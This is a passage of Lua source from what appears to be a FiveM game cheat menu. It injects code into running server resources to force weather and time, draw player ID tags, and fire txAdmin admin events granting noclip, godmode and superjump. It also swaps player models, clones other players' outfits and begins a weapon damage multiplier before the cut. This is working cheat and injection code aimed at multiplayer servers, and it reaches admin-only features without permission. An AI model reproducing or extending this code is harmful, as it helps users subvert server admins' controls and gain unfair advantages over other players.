                            injectCode('monitor', string.format([[
                                _G.junkieForceWeatherActive = %s
                                if _G.junkieForceWeatherActive and not _G.junkieForceWeatherThread then
                                    _G.junkieForceWeatherThread = true
                                    SafeRunNative(CreateThread, function()
                                        while _G.junkieForceWeatherActive do
                                            local wType = _G.junkieForceWeatherType or 'EXTRASUNNY'
                                            SafeRunNative(SetWeather2Persisted, wType)
                                            SafeRunNative(SetOverrideWeather, wType)
                                            Wait(5000)
                                        end
                                        _G.junkieForceWeatherThread = nil
                                    end)
                                elseif not _G.junkieForceWeatherActive then
                                    _G.junkieForceWeatherThread = nil
                                end
                            ]], tostring(checked)))
                            showNotify('Force Weather ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Weather Type',
                        desc = 'Weather applied when Force Weather is on.',
                        type = 'scroll',
                        selected = 1,
                        options = {
                            { label = 'Extra Sunny', value = 'EXTRASUNNY' },
                            { label = 'Clear',       value = 'CLEAR'      },
                            { label = 'Clouds',      value = 'CLOUDS'     },
                            { label = 'Smog',        value = 'SMOG'       },
                            { label = 'Foggy',       value = 'FOGGY'      },
                            { label = 'Overcast',    value = 'OVERCAST'   },
                            { label = 'Rain',        value = 'RAIN'       },
                            { label = 'Thunder',     value = 'THUNDER'    },
                            { label = 'Clearing',    value = 'CLEARING'   },
                            { label = 'Neutral',     value = 'NEUTRAL'    },
                            { label = 'Snow',        value = 'SNOW'       },
                            { label = 'Blizzard',    value = 'BLIZZARD'   },
                            { label = 'Snow Light',  value = 'SNOWLIGHT'  },
                            { label = 'Christmas',   value = 'XMAS'       },
                            { label = 'Halloween',   value = 'HALLOWEEN'  },
                        },
                        onConfirm = function(option)
                            injectCode('monitor', string.format([[ _G.junkieForceWeatherType = '%s' ]], option.value))
                            showNotify('Weather: ' .. option.label, 'info')
                        end
                    },
                    {
                        label = 'Force Time',
                        desc = 'Locks in-game clock to the selected hour every second.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkieForceTimeActive = %s
                                if _G.junkieForceTimeActive and not _G.junkieForceTimeThread then
                                    _G.junkieForceTimeThread = true
                                    SafeRunNative(CreateThread, function()
                                        while _G.junkieForceTimeActive do
                                            local h = _G.junkieForceTimeHour or 12
                                            local m = _G.junkieForceTimeMinute or 0
                                            SafeRunNative(NetworkOverrideClockTime, h, m, 0)
                                            Wait(1000)
                                        end
                                        _G.junkieForceTimeThread = nil
                                    end)
                                elseif not _G.junkieForceTimeActive then
                                    _G.junkieForceTimeThread = nil
                                end
                            ]], tostring(checked)))
                            showNotify('Force Time ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Time Hour',
                        desc = 'Hour to lock when Force Time is on (0 = midnight, 12 = noon).',
                        type = 'scroll',
                        selected = 13,
                        options = (function()
                            local t = {}
                            for h = 0, 23 do t[#t+1] = { label = tostring(h) .. ':00', value = h } end
                            return t
                        end)(),
                        onConfirm = function(option)
                            injectCode('monitor', string.format([[ _G.junkieForceTimeHour = %d ]], option.value))
                            showNotify('Hour: ' .. option.label, 'info')
                        end
                    },
                    {
                        label = 'Time Minute',
                        desc = 'Minute to lock when Force Time is on.',
                        type = 'scroll',
                        selected = 1,
                        options = (function()
                            local t = {}
                            for m = 0, 59 do t[#t+1] = { label = tostring(m), value = m } end
                            return t
                        end)(),
                        onConfirm = function(option)
                            injectCode('monitor', string.format([[ _G.junkieForceTimeMinute = %d ]], option.value))
                            showNotify('Minute: ' .. tostring(option.value), 'info')
                        end
                    },
                    {
                        label = 'TxAdmin Player IDs',
                        desc = 'Renders server ID + name above each player using fake GamerTags.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkieTxAdminIDsActive = %s
                                if _G.junkieTxAdminIDsActive and not _G.junkieTxAdminIDsThread then
                                    _G.junkieTxAdminIDsThread = true
                                    local setTags = {}
                                    SafeRunNative(CreateThread, function()
                                        while _G.junkieTxAdminIDsActive do
                                            for _, player in ipairs(GetActivePlayers()) do
                                                local setPed = GetPlayerPed(player)
                                                local entry = setTags[player]
                                                local targetTag = entry and entry.tag
                                                if not entry or entry.ped ~= setPed or not IsMpGamerTagActive(targetTag) then
                                                    targetTag = CreateFakeMpGamerTag(setPed, '['..GetPlayerServerId(player)..'] '..GetPlayerName(player):sub(1, 75), false, false, 0)
                                                    setTags[player] = { tag = targetTag, ped = setPed }
                                                end
                                                SetMpGamerTagVisibility(targetTag, 0, 1)
                                                SetMpGamerTagHealthBarColor(targetTag, 129)
                                                SetMpGamerTagAlpha(targetTag, 2, 255)
                                                SetMpGamerTagVisibility(targetTag, 2, 1)
                                                SetMpGamerTagAlpha(targetTag, 4, 255)
                                                if NetworkIsPlayerTalking(player) then
                                                    SetMpGamerTagVisibility(targetTag, 4, true)
                                                    SetMpGamerTagColour(targetTag, 4, 12)
                                                    SetMpGamerTagColour(targetTag, 0, 12)
                                                else
                                                    SetMpGamerTagVisibility(targetTag, 4, false)
                                                    SetMpGamerTagColour(targetTag, 4, 0)
                                                    SetMpGamerTagColour(targetTag, 0, 0)
                                                end
                                            end
                                            Wait(250)
                                        end
                                        for _, data in pairs(setTags) do
                                            if IsMpGamerTagActive(data.tag) then RemoveMpGamerTag(data.tag) end
                                        end
                                        _G.junkieTxAdminIDsThread = nil
                                    end)
                                elseif not _G.junkieTxAdminIDsActive then
                                    _G.junkieTxAdminIDsThread = nil
                                end
                            ]], tostring(checked)))
                            showNotify('TxAdmin Player IDs ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'TxAdmin Mode',
                        desc = 'Sets txcl player mode: noclip / superjump / godmode / none.',
                        type = 'button',
                        onConfirm = function()
                            showInput('TxAdmin Mode', 'noclip | superjump | godmode | none', function(mode)
                                if not mode or mode == '' then return end
                                local valid = { noclip = true, superjump = true, godmode = true, none = true }
                                if not valid[mode] then showNotify('Invalid mode: ' .. mode, 'error'); return end
                                injectCode('monitor', string.format([[
                                    SafeRunNative(TriggerEvent, 'txcl:setPlayerMode', '%s', true)
                                ]], mode))
                                showNotify('TxAdmin mode → ' .. mode, 'success')
                            end)
                        end
                    },
                    {
                        label = 'Disable Inventory Animations',
                        desc = 'Kills TaskPlayAnim in ox_inventory so open/use has no animation.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            if GetResourceState('ox_inventory') ~= 'started' then
                                showNotify('ox_inventory not found', 'error')
                                return
                            end
                            if checked then
                                injectCode('ox_inventory', [[
                                    _G.SetClient_TaskPlayAnim = _G.SetClient_TaskPlayAnim or _G.TaskPlayAnim
                                    _G.SetClient_TaskPlayAnimAdvanced = _G.SetClient_TaskPlayAnimAdvanced or _G.TaskPlayAnimAdvanced
                                    _G.TaskPlayAnim = function() end
                                    _G.TaskPlayAnimAdvanced = function() end
                                ]])
                            else
                                injectCode('ox_inventory', [[
                                    _G.TaskPlayAnim = _G.SetClient_TaskPlayAnim or _G.TaskPlayAnim
                                    _G.TaskPlayAnimAdvanced = _G.SetClient_TaskPlayAnimAdvanced or _G.TaskPlayAnimAdvanced
                                ]])
                            end
                            showNotify('Disable Inventory Anims ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                }
            },
            {
                name = 'Appearance',
                submenu = {
                    {
                        label = 'Randomize Outfit',
                        type = 'button',
                        onConfirm = function()
                            local ped = PlayerPedId()
                            SetPedComponentVariation(ped,3,math.random(1,300),0,0)
                            SetPedComponentVariation(ped,4,math.random(50,500),0,0)
                            SetPedComponentVariation(ped,6,math.random(50,245),0,0)
                            SetPedComponentVariation(ped,11,math.random(50,500),0,0)
                            SetPedComponentVariation(ped,8,15,0,0)
                            SetPedHeadOverlay(ped,2,8,1.0) SetPedHeadOverlayColor(ped,2,1,1,1)
                            SetPedHeadOverlay(ped,1,5,1.0) SetPedHeadOverlayColor(ped,1,1,1,1)
                            SetPedHeadBlendData(ped,math.random(0,45),math.random(0,45),0,math.random(0,45),math.random(0,45),0,0.5,0.5,0.0,false)
                            SetPedComponentVariation(ped,2,math.random(0,75),0,0)
                            SetPedHairColor(ped,0,0)
                        end
                    },
                    {
                        label = 'Save Outfit',
                        type = 'button',
                        onConfirm = function()
                            injectCode('illenium-appearance', [[
                                SafeRunNative(TriggerEvent, 'illenium-appearance:client:saveOutfit') 
                            ]])
                        end
                    },
                    {
                        label = 'Outfit Menu',
                        type = 'button',
                        onConfirm = function()
                            injectCode('illenium-appearance', [[
                                SafeRunNative(TriggerEvent, 'illenium-appearance:client:openClothingShop', true) 
                            ]])
                        end
                    },
                    {
                        label = 'Reload Skin',
                        type = 'button',
                        onConfirm = function()
                            injectCode('illenium-appearance', [[
                                SafeRunNative(TriggerEvent, 'illenium-appearance:client:reloadSkin') 
                            ]])
                        end
                    },
                    { type = 'divider', label = 'Models' },
                    {
                        type = "scroll",
                        label = "Male Peds",
                        options = {
                            { label = "mp_m_freemode_01", value = "mp_m_freemode_01" },
                            { label = "a_m_m_afriamer_01", value = "a_m_m_afriamer_01" },
                            { label = "a_m_m_beach_01", value = "a_m_m_beach_01" },
                            { label = "a_m_m_beach_02", value = "a_m_m_beach_02" },
                            { label = "a_m_m_bevhills_01", value = "a_m_m_bevhills_01" },
                            { label = "a_m_m_bevhills_02", value = "a_m_m_bevhills_02" },
                            { label = "a_m_m_business_01", value = "a_m_m_business_01" },
                            { label = "a_m_m_eastsa_01", value = "a_m_m_eastsa_01" },
                            { label = "a_m_m_eastsa_02", value = "a_m_m_eastsa_02" },
                            { label = "a_m_m_farmer_01", value = "a_m_m_farmer_01" },
                            { label = "a_m_m_fatlatin_01", value = "a_m_m_fatlatin_01" },
                            { label = "a_m_m_genfat_01", value = "a_m_m_genfat_01" },
                            { label = "a_m_m_genfat_02", value = "a_m_m_genfat_02" },
                            { label = "a_m_m_golfer_01", value = "a_m_m_golfer_01" },
                            { label = "a_m_m_hasjew_01", value = "a_m_m_hasjew_01" },
                            { label = "a_m_m_hillbilly_01", value = "a_m_m_hillbilly_01" },
                            { label = "a_m_m_hillbilly_02", value = "a_m_m_hillbilly_02" },
                            { label = "a_m_m_indian_01", value = "a_m_m_indian_01" },
                            { label = "a_m_m_ktown_01", value = "a_m_m_ktown_01" },
                            { label = "a_m_m_malibu_01", value = "a_m_m_malibu_01" },
                            { label = "a_m_m_mexcntry_01", value = "a_m_m_mexcntry_01" },
                            { label = "a_m_m_mexlabor_01", value = "a_m_m_mexlabor_01" },
                            { label = "a_m_m_og_boss_01", value = "a_m_m_og_boss_01" },
                            { label = "a_m_m_paparazzi_01", value = "a_m_m_paparazzi_01" },
                            { label = "a_m_m_polynesian_01", value = "a_m_m_polynesian_01" },
                            { label = "a_m_m_prolhost_01", value = "a_m_m_prolhost_01" },
                            { label = "a_m_m_rurmeth_01", value = "a_m_m_rurmeth_01" },
                            { label = "a_m_m_salton_01", value = "a_m_m_salton_01" },
                            { label = "a_m_m_salton_02", value = "a_m_m_salton_02" },
                            { label = "a_m_m_salton_03", value = "a_m_m_salton_03" },
                            { label = "a_m_m_salton_04", value = "a_m_m_salton_04" },
                            { label = "a_m_m_skater_01", value = "a_m_m_skater_01" },
                            { label = "a_m_m_skidrow_01", value = "a_m_m_skidrow_01" },
                            { label = "a_m_m_socenlat_01", value = "a_m_m_socenlat_01" },
                            { label = "a_m_m_soucent_01", value = "a_m_m_soucent_01" },
                            { label = "a_m_m_soucent_02", value = "a_m_m_soucent_02" },
                            { label = "a_m_m_soucent_03", value = "a_m_m_soucent_03" },
                            { label = "a_m_m_soucent_04", value = "a_m_m_soucent_04" },
                            { label = "a_m_m_stlat_02", value = "a_m_m_stlat_02" },
                            { label = "a_m_m_tourist_01", value = "a_m_m_tourist_01" },
                            { label = "a_m_m_tramp_01", value = "a_m_m_tramp_01" },
                            { label = "a_m_m_trampbeac_01", value = "a_m_m_trampbeac_01" },
                            { label = "a_m_m_tranvest_01", value = "a_m_m_tranvest_01" },
                            { label = "a_m_m_tranvest_02", value = "a_m_m_tranvest_02" },
                            { label = "a_m_o_beach_01", value = "a_m_o_beach_01" },
                            { label = "a_m_o_genstreet_01", value = "a_m_o_genstreet_01" },
                            { label = "a_m_o_ktown_01", value = "a_m_o_ktown_01" },
                            { label = "a_m_o_salton_01", value = "a_m_o_salton_01" },
                            { label = "a_m_o_soucent_01", value = "a_m_o_soucent_01" },
                            { label = "a_m_o_soucent_02", value = "a_m_o_soucent_02" },
                            { label = "a_m_o_soucent_03", value = "a_m_o_soucent_03" },
                            { label = "a_m_o_tramp_01", value = "a_m_o_tramp_01" },
                            { label = "a_m_y_beach_01", value = "a_m_y_beach_01" },
                            { label = "a_m_y_beach_02", value = "a_m_y_beach_02" },
                            { label = "a_m_y_beach_03", value = "a_m_y_beach_03" },
                            { label = "a_m_y_bevhills_01", value = "a_m_y_bevhills_01" },
                            { label = "a_m_y_bevhills_02", value = "a_m_y_bevhills_02" },
                            { label = "a_m_y_breakdance_01", value = "a_m_y_breakdance_01" },
                            { label = "a_m_y_busicas_01", value = "a_m_y_busicas_01" },
                            { label = "a_m_y_business_01", value = "a_m_y_business_01" },
                            { label = "a_m_y_business_02", value = "a_m_y_business_02" },
                            { label = "a_m_y_business_03", value = "a_m_y_business_03" },
                            { label = "a_m_y_cyclist_01", value = "a_m_y_cyclist_01" },
                            { label = "a_m_y_dhill_01", value = "a_m_y_dhill_01" },
                            { label = "a_m_y_downtown_01", value = "a_m_y_downtown_01" },
                            { label = "a_m_y_eastsa_01", value = "a_m_y_eastsa_01" },
                            { label = "a_m_y_eastsa_02", value = "a_m_y_eastsa_02" },
                            { label = "a_m_y_epsilon_01", value = "a_m_y_epsilon_01" },
                            { label = "a_m_y_epsilon_02", value = "a_m_y_epsilon_02" },
                            { label = "a_m_y_gay_01", value = "a_m_y_gay_01" },
                            { label = "a_m_y_gay_02", value = "a_m_y_gay_02" },
                            { label = "a_m_y_genstreet_01", value = "a_m_y_genstreet_01" },
                            { label = "a_m_y_genstreet_02", value = "a_m_y_genstreet_02" },
                            { label = "a_m_y_golfer_01", value = "a_m_y_golfer_01" },
                            { label = "a_m_y_hasjew_01", value = "a_m_y_hasjew_01" },
                            { label = "a_m_y_hiker_01", value = "a_m_y_hiker_01" },
                            { label = "a_m_y_hippy_01", value = "a_m_y_hippy_01" },
                            { label = "a_m_y_hipster_01", value = "a_m_y_hipster_01" },
                            { label = "a_m_y_hipster_02", value = "a_m_y_hipster_02" },
                            { label = "a_m_y_hipster_03", value = "a_m_y_hipster_03" },
                            { label = "a_m_y_hipster_04", value = "a_m_y_hipster_04" },
                            { label = "a_m_y_indian_01", value = "a_m_y_indian_01" },
                            { label = "a_m_y_juggalo_01", value = "a_m_y_juggalo_01" },
                            { label = "a_m_y_ktown_01", value = "a_m_y_ktown_01" },
                            { label = "a_m_y_ktown_02", value = "a_m_y_ktown_02" },
                            { label = "a_m_y_latino_01", value = "a_m_y_latino_01" },
                            { label = "a_m_y_methhead_01", value = "a_m_y_methhead_01" },
                            { label = "a_m_y_mexthug_01", value = "a_m_y_mexthug_01" },
                            { label = "a_m_y_motox_01", value = "a_m_y_motox_01" },
                            { label = "a_m_y_motox_02", value = "a_m_y_motox_02" },
                            { label = "a_m_y_musclbeac_01", value = "a_m_y_musclbeac_01" },
                            { label = "a_m_y_musclbeac_02", value = "a_m_y_musclbeac_02" },
                            { label = "a_m_y_polynesian_01", value = "a_m_y_polynesian_01" },
                            { label = "a_m_y_roadcyc_01", value = "a_m_y_roadcyc_01" },
                            { label = "a_m_y_runner_01", value = "a_m_y_runner_01" },
                            { label = "a_m_y_runner_02", value = "a_m_y_runner_02" },
                            { label = "a_m_y_salton_01", value = "a_m_y_salton_01" },
                            { label = "a_m_y_skater_01", value = "a_m_y_skater_01" },
                            { label = "a_m_y_skater_02", value = "a_m_y_skater_02" },
                            { label = "a_m_y_smartcaspat_01", value = "a_m_y_smartcaspat_01" },
                            { label = "a_m_y_soucent_01", value = "a_m_y_soucent_01" },
                            { label = "a_m_y_soucent_02", value = "a_m_y_soucent_02" },
                            { label = "a_m_y_soucent_03", value = "a_m_y_soucent_03" },
                            { label = "a_m_y_soucent_04", value = "a_m_y_soucent_04" },
                            { label = "a_m_y_stbla_01", value = "a_m_y_stbla_01" },
                            { label = "a_m_y_stbla_02", value = "a_m_y_stbla_02" },
                            { label = "a_m_y_stlat_01", value = "a_m_y_stlat_01" },
                            { label = "a_m_y_stwhi_01", value = "a_m_y_stwhi_01" },
                            { label = "a_m_y_stwhi_02", value = "a_m_y_stwhi_02" },
                            { label = "a_m_y_sunbathe_01", value = "a_m_y_sunbathe_01" },
                            { label = "a_m_y_surfer_01", value = "a_m_y_surfer_01" },
                            { label = "a_m_y_vindouche_01", value = "a_m_y_vindouche_01" },
                            { label = "a_m_y_vinewood_01", value = "a_m_y_vinewood_01" },
                            { label = "a_m_y_vinewood_02", value = "a_m_y_vinewood_02" },
                            { label = "a_m_y_vinewood_03", value = "a_m_y_vinewood_03" },
                            { label = "a_m_y_vinewood_04", value = "a_m_y_vinewood_04" },
                            { label = "a_m_y_yoga_01", value = "a_m_y_yoga_01" }
                        },
                        selected = 1,
                        onConfirm = function(data)
                            local modelName = data.value
                            injectCode('monitor', string.format([[
                                local model = GetHashKey('%s')
                                RequestModel(model)
                                while not HasModelLoaded(model) do Wait(0) end
                                SafeRunNative(SetPlayerModel, PlayerId(), model)
                                SetModelAsNoLongerNeeded(model)

                                if model == 1885233650 then
                                    SetPedDefaultComponentVariation(PlayerPedId(), true)
                                end
                            ]], modelName))
                        end
                    },
                    {
                        type = "scroll",
                        label = "Female Peds",
                        options = {
                            { label = "mp_f_freemode_01", value = "mp_f_freemode_01" },
                            { label = "a_f_m_beach_01", value = "a_f_m_beach_01" },
                            { label = "a_f_m_bevhills_01", value = "a_f_m_bevhills_01" },
                            { label = "a_f_m_bevhills_02", value = "a_f_m_bevhills_02" },
                            { label = "a_f_m_bodybuild_01", value = "a_f_m_bodybuild_01" },
                            { label = "a_f_m_business_02", value = "a_f_m_business_02" },
                            { label = "a_f_m_downtown_01", value = "a_f_m_downtown_01" },
                            { label = "a_f_m_eastsa_01", value = "a_f_m_eastsa_01" },
                            { label = "a_f_m_eastsa_02", value = "a_f_m_eastsa_02" },
                            { label = "a_f_m_fatbla_01", value = "a_f_m_fatbla_01" },
                            { label = "a_f_m_fatcult_01", value = "a_f_m_fatcult_01" },
                            { label = "a_f_m_fatwhite_01", value = "a_f_m_fatwhite_01" },
                            { label = "a_f_m_ktown_01", value = "a_f_m_ktown_01" },
                            { label = "a_f_m_ktown_02", value = "a_f_m_ktown_02" },
                            { label = "a_f_m_prolhost_01", value = "a_f_m_prolhost_01" },
                            { label = "a_f_m_salton_01", value = "a_f_m_salton_01" },
                            { label = "a_f_m_skidrow_01", value = "a_f_m_skidrow_01" },
                            { label = "a_f_m_soucent_01", value = "a_f_m_soucent_01" },
                            { label = "a_f_m_soucent_02", value = "a_f_m_soucent_02" },
                            { label = "a_f_m_soucentmc_01", value = "a_f_m_soucentmc_01" },
                            { label = "a_f_m_tourist_01", value = "a_f_m_tourist_01" },
                            { label = "a_f_m_tramp_01", value = "a_f_m_tramp_01" },
                            { label = "a_f_m_trampbeac_01", value = "a_f_m_trampbeac_01" },
                            { label = "a_f_o_genstreet_01", value = "a_f_o_genstreet_01" },
                            { label = "a_f_o_indian_01", value = "a_f_o_indian_01" },
                            { label = "a_f_o_ktown_01", value = "a_f_o_ktown_01" },
                            { label = "a_f_o_soucent_01", value = "a_f_o_soucent_01" },
                            { label = "a_f_o_soucent_02", value = "a_f_o_soucent_02" },
                            { label = "a_f_y_beach_01", value = "a_f_y_beach_01" },
                            { label = "a_f_y_bevhills_01", value = "a_f_y_bevhills_01" },
                            { label = "a_f_y_bevhills_02", value = "a_f_y_bevhills_02" },
                            { label = "a_f_y_bevhills_03", value = "a_f_y_bevhills_03" },
                            { label = "a_f_y_bevhills_04", value = "a_f_y_bevhills_04" },
                            { label = "a_f_y_business_01", value = "a_f_y_business_01" },
                            { label = "a_f_y_business_02", value = "a_f_y_business_02" },
                            { label = "a_f_y_business_03", value = "a_f_y_business_03" },
                            { label = "a_f_y_business_04", value = "a_f_y_business_04" },
                            { label = "a_f_y_eastsa_01", value = "a_f_y_eastsa_01" },
                            { label = "a_f_y_eastsa_02", value = "a_f_y_eastsa_02" },
                            { label = "a_f_y_eastsa_03", value = "a_f_y_eastsa_03" },
                            { label = "a_f_y_epsilon_01", value = "a_f_y_epsilon_01" },
                            { label = "a_f_y_femaleagent", value = "a_f_y_femaleagent" },
                            { label = "a_f_y_fitness_01", value = "a_f_y_fitness_01" },
                            { label = "a_f_y_fitness_02", value = "a_f_y_fitness_02" },
                            { label = "a_f_y_genhot_01", value = "a_f_y_genhot_01" },
                            { label = "a_f_y_golfer_01", value = "a_f_y_golfer_01" },
                            { label = "a_f_y_hiker_01", value = "a_f_y_hiker_01" },
                            { label = "a_f_y_hippie_01", value = "a_f_y_hippie_01" },
                            { label = "a_f_y_hipster_01", value = "a_f_y_hipster_01" },
                            { label = "a_f_y_hipster_02", value = "a_f_y_hipster_02" },
                            { label = "a_f_y_hipster_03", value = "a_f_y_hipster_03" },
                            { label = "a_f_y_hipster_04", value = "a_f_y_hipster_04" },
                            { label = "a_f_y_indian_01", value = "a_f_y_indian_01" },
                            { label = "a_f_y_juggalo_01", value = "a_f_y_juggalo_01" },
                            { label = "a_f_y_runner_01", value = "a_f_y_runner_01" },
                            { label = "a_f_y_rurmeth_01", value = "a_f_y_rurmeth_01" },
                            { label = "a_f_y_scdressy_01", value = "a_f_y_scdressy_01" },
                            { label = "a_f_y_skater_01", value = "a_f_y_skater_01" },
                            { label = "a_f_y_soucent_01", value = "a_f_y_soucent_01" },
                            { label = "a_f_y_soucent_02", value = "a_f_y_soucent_02" },
                            { label = "a_f_y_soucent_03", value = "a_f_y_soucent_03" },
                            { label = "a_f_y_tennis_01", value = "a_f_y_tennis_01" },
                            { label = "a_f_y_topless_01", value = "a_f_y_topless_01" },
                            { label = "a_f_y_tourist_01", value = "a_f_y_tourist_01" },
                            { label = "a_f_y_tourist_02", value = "a_f_y_tourist_02" },
                            { label = "a_f_y_vinewood_01", value = "a_f_y_vinewood_01" },
                            { label = "a_f_y_vinewood_02", value = "a_f_y_vinewood_02" },
                            { label = "a_f_y_vinewood_03", value = "a_f_y_vinewood_03" },
                            { label = "a_f_y_vinewood_04", value = "a_f_y_vinewood_04" },
                            { label = "a_f_y_yoga_01", value = "a_f_y_yoga_01" }
                        },
                        selected = 1,
                        onConfirm = function(data)
                            local modelName = data.value
                            injectCode('monitor', string.format([[
                                local model = GetHashKey('%s')
                                RequestModel(model)
                                while not HasModelLoaded(model) do Wait(0) end
                                SafeRunNative(SetPlayerModel, PlayerId(), model)
                                SetModelAsNoLongerNeeded(model)

                                if model == -1667301416 then
                                    SetPedDefaultComponentVariation(PlayerPedId(), true)
                                end
                            ]], modelName))
                        end
                    },
                    {
                        type = "scroll",
                        label = "Animals",
                        options = {
                            { label = "a_c_boar", value = "a_c_boar" },
                            { label = "a_c_cat_01", value = "a_c_cat_01" },
                            { label = "a_c_chickenhawk", value = "a_c_chickenhawk" },
                            { label = "a_c_chimp", value = "a_c_chimp" },
                            { label = "a_c_chop", value = "a_c_chop" },
                            { label = "a_c_cormorant", value = "a_c_cormorant" },
                            { label = "a_c_cow", value = "a_c_cow" },
                            { label = "a_c_coyote", value = "a_c_coyote" },
                            { label = "a_c_crow", value = "a_c_crow" },
                            { label = "a_c_deer", value = "a_c_deer" },
                            { label = "a_c_dolphin", value = "a_c_dolphin" },
                            { label = "a_c_fish", value = "a_c_fish" },
                            { label = "a_c_hen", value = "a_c_hen" },
                            { label = "a_c_husky", value = "a_c_husky" },
                            { label = "a_c_killerwhale", value = "a_c_killerwhale" },
                            { label = "a_c_mtlion", value = "a_c_mtlion" },
                            { label = "a_c_pig", value = "a_c_pig" },
                            { label = "a_c_pigeon", value = "a_c_pigeon" },
                            { label = "a_c_poodle", value = "a_c_poodle" },
                            { label = "a_c_pug", value = "a_c_pug" },
                            { label = "a_c_rabbit_01", value = "a_c_rabbit_01" },
                            { label = "a_c_rat", value = "a_c_rat" },
                            { label = "a_c_retriever", value = "a_c_retriever" },
                            { label = "a_c_rhesus", value = "a_c_rhesus" },
                            { label = "a_c_rottweiler", value = "a_c_rottweiler" },
                            { label = "a_c_seagull", value = "a_c_seagull" },
                            { label = "a_c_sharkhammer", value = "a_c_sharkhammer" },
                            { label = "a_c_sharktiger", value = "a_c_sharktiger" },
                            { label = "a_c_shepherd", value = "a_c_shepherd" },
                            { label = "a_c_stingray", value = "a_c_stingray" },
                            { label = "a_c_westy", value = "a_c_westy" }
                        },
                        selected = 1,
                        onConfirm = function(data)
                            local modelName = data.value
                            injectCode('monitor', string.format([[
                                local model = GetHashKey('%s')
                                RequestModel(model)
                                while not HasModelLoaded(model) do Wait(0) end
                                SafeRunNative(SetPlayerModel, PlayerId(), model)
                                SetModelAsNoLongerNeeded(model)
                            ]], modelName))
                        end
                    },
                    {
                        label = 'Custom Model',
                        type = 'button',
                        onConfirm = function()
                            showInput('Set player model', '', function(model)
                                if model and model ~= '' then
                                    injectCode('monitor', string.format([[
                                        local model = GetHashKey('%s')
                                        RequestModel(model)
                                        while not HasModelLoaded(model) do Wait(0) end
                                        SafeRunNative(SetPlayerModel, PlayerId(), model)
                                        SetModelAsNoLongerNeeded(model)

                                        if model == -1667301416 or model == 1885233650 then
                                            SetPedDefaultComponentVariation(PlayerPedId(), true)
                                        end
                                    ]], model))
                                end
                            end)
                        end
                    },
                    { type = 'divider', label = 'Skin Tools' },
                    {
                        label = 'Open Skin Menu',
                        desc = 'Triggers the first active clothing/appearance resource found (9 checked).',
                        type = 'button',
                        onConfirm = function()
                            local resources = {
                                { name = 'fivem-appearance',         event = 'fivem-appearance:startPlayerCustomization' },
                                { name = 'codem-appearance',         event = 'codem-appearance:OpenShop' },
                                { name = 'qb-clothing',              event = 'qb-clothing:client:openOutfitMenu' },
                                { name = 'esx_skin',                 event = 'esx_skin:openSaveableMenu' },
                                { name = 'illenium-appearance',      event = 'illenium-appearance:client:openClothingShop' },
                                { name = 'illenium-appearance-full', event = 'illenium-appearance:client:openClothingShop' },
                                { name = 'skinchanger',              event = 'skinchanger:openMenu' },
                                { name = 'rcore_clothing',           event = 'rcore_clothing:openWardrobe' },
                                { name = 'scripts',                  event = 'trap:openAppearanceMenu' },
                            }
                            local found = false
                            for _, res in ipairs(resources) do
                                if GetResourceState(res.name) == 'started' then
                                    found = true
                                    injectCode('monitor', string.format([[
                                        SafeRunNative(TriggerEvent, "%s")
                                    ]], res.event))
                                    break
                                end
                            end
                            if not found then
                                showNotify('No skin menu found!', 'error')
                            else
                                showNotify('Skin menu opened', 'success')
                            end
                        end
                    },
                    { type = 'divider', label = 'Copy Outfit' },
                    {
                        label = 'Copy Nearest Outfit',
                        desc = 'Clones the appearance of the closest player onto you.',
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[
                                local selfPed = PlayerPedId()
                                local myPos = GetEntityCoords(selfPed)
                                local myId = PlayerId()
                                local closest, closestDist = -1, math.huge
                                for _, pid in ipairs(GetActivePlayers()) do
                                    if pid ~= myId then
                                        local ped = GetPlayerPed(pid)
                                        if DoesEntityExist(ped) then
                                            local d = #(myPos - GetEntityCoords(ped))
                                            if d < closestDist then closest = ped; closestDist = d end
                                        end
                                    end
                                end
                                if closest ~= -1 then
                                    SafeRunNative(ClonePedToTarget, closest, selfPed)
                                end
                            ]])
                            showNotify('Copying nearest outfit...', 'success')
                        end
                    },
                    {
                        label = 'Copy Random Outfit',
                        desc = 'Clones the appearance of a random online player onto you.',
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[
                                local selfPed = PlayerPedId()
                                local myId = PlayerId()
                                local candidates = {}
                                for _, pid in ipairs(GetActivePlayers()) do
                                    if pid ~= myId then
                                        local ped = GetPlayerPed(pid)
                                        if DoesEntityExist(ped) then candidates[#candidates + 1] = ped end
                                    end
                                end
                                if #candidates > 0 then
                                    SafeRunNative(ClonePedToTarget, candidates[math.random(#candidates)], selfPed)
                                end
                            ]])
                            showNotify('Copying random outfit...', 'success')
                        end
                    },
                    { type = 'divider', label = 'Self Actions' },
                    {
                        type = 'button',
                        label = 'Fake Roll',
                        desc = 'Plays a diving-roll animation on your ped.',
                        onConfirm = function()
                            injectCode('monitor', [[
                                SafeRunNative(CreateThread, function()
                                    local dict = 'move_fall'
                                    local anim = 'fall_to_ground_roll_r'
                                    SafeRunNative(RequestAnimDict, dict)
                                    local timer = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasAnimDictLoaded, dict) do
                                        Wait(0)
                                        if (SafeRunNative(GetGameTimer) - timer) > 5000 then return end
                                    end
                                    SafeRunNative(TaskPlayAnim, PlayerPedId(), dict, anim, 8.0, -8.0, -1, 0, 0, false, false, false)
                                end)
                            ]])
                            showNotify('Roll', 'success')
                        end
                    },
                    {
                        type = 'checkbox',
                        label = 'Damage Multiplier',
                        desc = 'Multiplies all outgoing weapon damage. Toggle on then adjust via scroll below.',
                        onConfirm = function(checked)
                            if checked then
                                injectCode('monitor', [[
                                    _G.junkieDmgMulActive = true
                                    if not _G.junkieDmgMulThread then
                                        _G.junkieDmgMulThread = true
                                        CreateThread(function()
                                            while _G.junkieDmgMulActive do
                                                local mul = _G.junkieDmgMulValue or 5.0
                                                for _, wHash in ipairs({
                                                    GetHashKey('WEAPON_PISTOL'), GetHashKey('WEAPON_COMBATPISTOL'),
                                                    GetHashKey('WEAPON_SMG'), GetHashKey('WEAPON_MICROSMG'),
